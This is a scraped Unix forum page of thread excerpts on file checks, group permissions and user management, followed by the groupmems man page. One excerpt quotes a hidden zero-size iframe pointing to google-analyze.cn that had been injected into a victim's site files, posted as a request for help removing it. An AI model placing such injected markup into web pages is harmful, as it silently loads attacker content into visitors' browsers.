hi,
i want to write the script to list atleast one file inside that directory
eg:
/home/Log/amp01
/home/log/amp02
.
.
.
/home/log/amp..N
want to see atleast one file inside the /home/log/amp01 .... amp(N)
if it not there.. need to give that no file exists inside... (3 Replies)
Hi, I have a directory that needs to be accessed by the members of two groups:
group1 needs rw access
group2 needs only r access
others should have no rights
I must be missing something obvious, but I can't figure out how to do it! Any ideas? (2 Replies)
here's the case :
almost of php/html file on my site has added the text :
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>I don't know how this happen, so i want to remove above text from all... (16 Replies)
hi all
i am new to solaris
how to add a user to multiple(secondary) groups.
user :anna
Groups : delhi ,mumbai,pune
i need like this in cat /etc/group
delhi::anna
mumbai::anna
pune::anna
i tried using
usermod -a -G hyd anna
that does int work
how to delete user from group... (3 Replies)
I have five directories, dir1 to dir5
for each directory, I have all same number-named folders. There are four types of folders, {1..10}, {20..30}, { 40..50}, {60..70}
Now for each types of folder, I will do the same thing, here is the code
for i in {1..5}
do
cd dir$i
mkdir temp1
for... (5 Replies)
Hi
I need to permit one group to have r-x permissions on all files in a directory and another group to have just read access, im confused how to do this as if i set the 'Other' permission class as read access then all users will have access to them.
So basically i have a directory which the... (2 Replies)
I hope some one can help me
I have multiple files in a directory with out extension like as below mentioned. But i want to change all the file names along .DDMMYYYYHHMISS format. And all files should have same DDMMYYYYHHMISS.
Scenario:
direcory name = /vol/best/srcfiles
files in a... (4 Replies)
Happy Thanksgiving Everyone!! I have a question about adding users to multiple groups. Thanks in advance
Using Red Hat and here are the issues:
Example:
Users:
Bob
Mark
Groups:
SystemsAnalysts
BusinessAnalysts
If I am adding a user Bob to both groups (SystemsAnalysts and... (2 Replies)
Hi,
Need your help in this.
I have an input file that has multiple enrollment_number, somewhat like
1234567
8901234
9856321
6732187
7623465
Now i have to search and delete these enrollment_number recursively from all the files that are within multiple sub-directories of a... (10 Replies)
Discussion started by: mukulverma2408
10 Replies
LEARN ABOUT CENTOS
groupmems
GROUPMEMS(8) System Management Commands GROUPMEMS(8)NAME
groupmems - administer members of a user's primary group
SYNOPSIS
groupmems -a user_name | -d user_name | [-g group_name] | -l | -p
DESCRIPTION
The groupmems command allows a user to administer his/her own group membership list without the requirement of superuser privileges. The
groupmems utility is for systems that configure its users to be in their own name sake primary group (i.e., guest / guest).
Only the superuser, as administrator, can use groupmems to alter the memberships of other groups.
OPTIONS
The options which apply to the groupmems command are:
-a, --add user_name
Add an user to the group membership list.
If the /etc/gshadow file exist, and the group has no entry in the /etc/gshadow file, a new entry will be created.
-d, --delete user_name
Delete a user from the group membership list.
If the /etc/gshadow file exist, the user will be removed from the list of members and administrators of the group.
If the /etc/gshadow file exist, and the group has no entry in the /etc/gshadow file, a new entry will be created.
-g, --group group_name
The superuser can specify which group membership list to modify.
-h, --help
Display help message and exit.
-l, --list
List the group membership list.
-p, --purge
Purge all users from the group membership list.
If the /etc/gshadow file exist, and the group has no entry in the /etc/gshadow file, a new entry will be created.
-R, --root CHROOT_DIR
Apply changes in the CHROOT_DIR directory and use the configuration files from the CHROOT_DIR directory.
SETUP
The groupmems executable should be in mode 2770 as user root and in group groups. The system administrator can add users to group groups to
allow or disallow them using the groupmems utility to manage their own group membership list.
$ groupadd -r groups
$ chmod 2770 groupmems
$ chown root.groups groupmems
$ groupmems -g groups -a gk4
CONFIGURATION
The following configuration variables in /etc/login.defs change the behavior of this tool:
MAX_MEMBERS_PER_GROUP (number)
Maximum members per group entry. When the maximum is reached, a new group entry (line) is started in /etc/group (with the same name,
same password, and same GID).
The default value is 0, meaning that there are no limits in the number of members in a group.
This feature (split group) permits to limit the length of lines in the group file. This is useful to make sure that lines for NIS
groups are not larger than 1024 characters.
If you need to enforce such limit, you can use 25.
Note: split groups may not be supported by all tools (even in the Shadow toolsuite). You should not use this variable unless you really
need it.
FILES
/etc/group
Group account information.
/etc/gshadow
secure group account information
SEE ALSO chfn(1), chsh(1), passwd(1), groupadd(8), groupdel(8), useradd(8), userdel(8), usermod(8).
shadow-utils 4.1.5.1 05/25/2012 GROUPMEMS(8)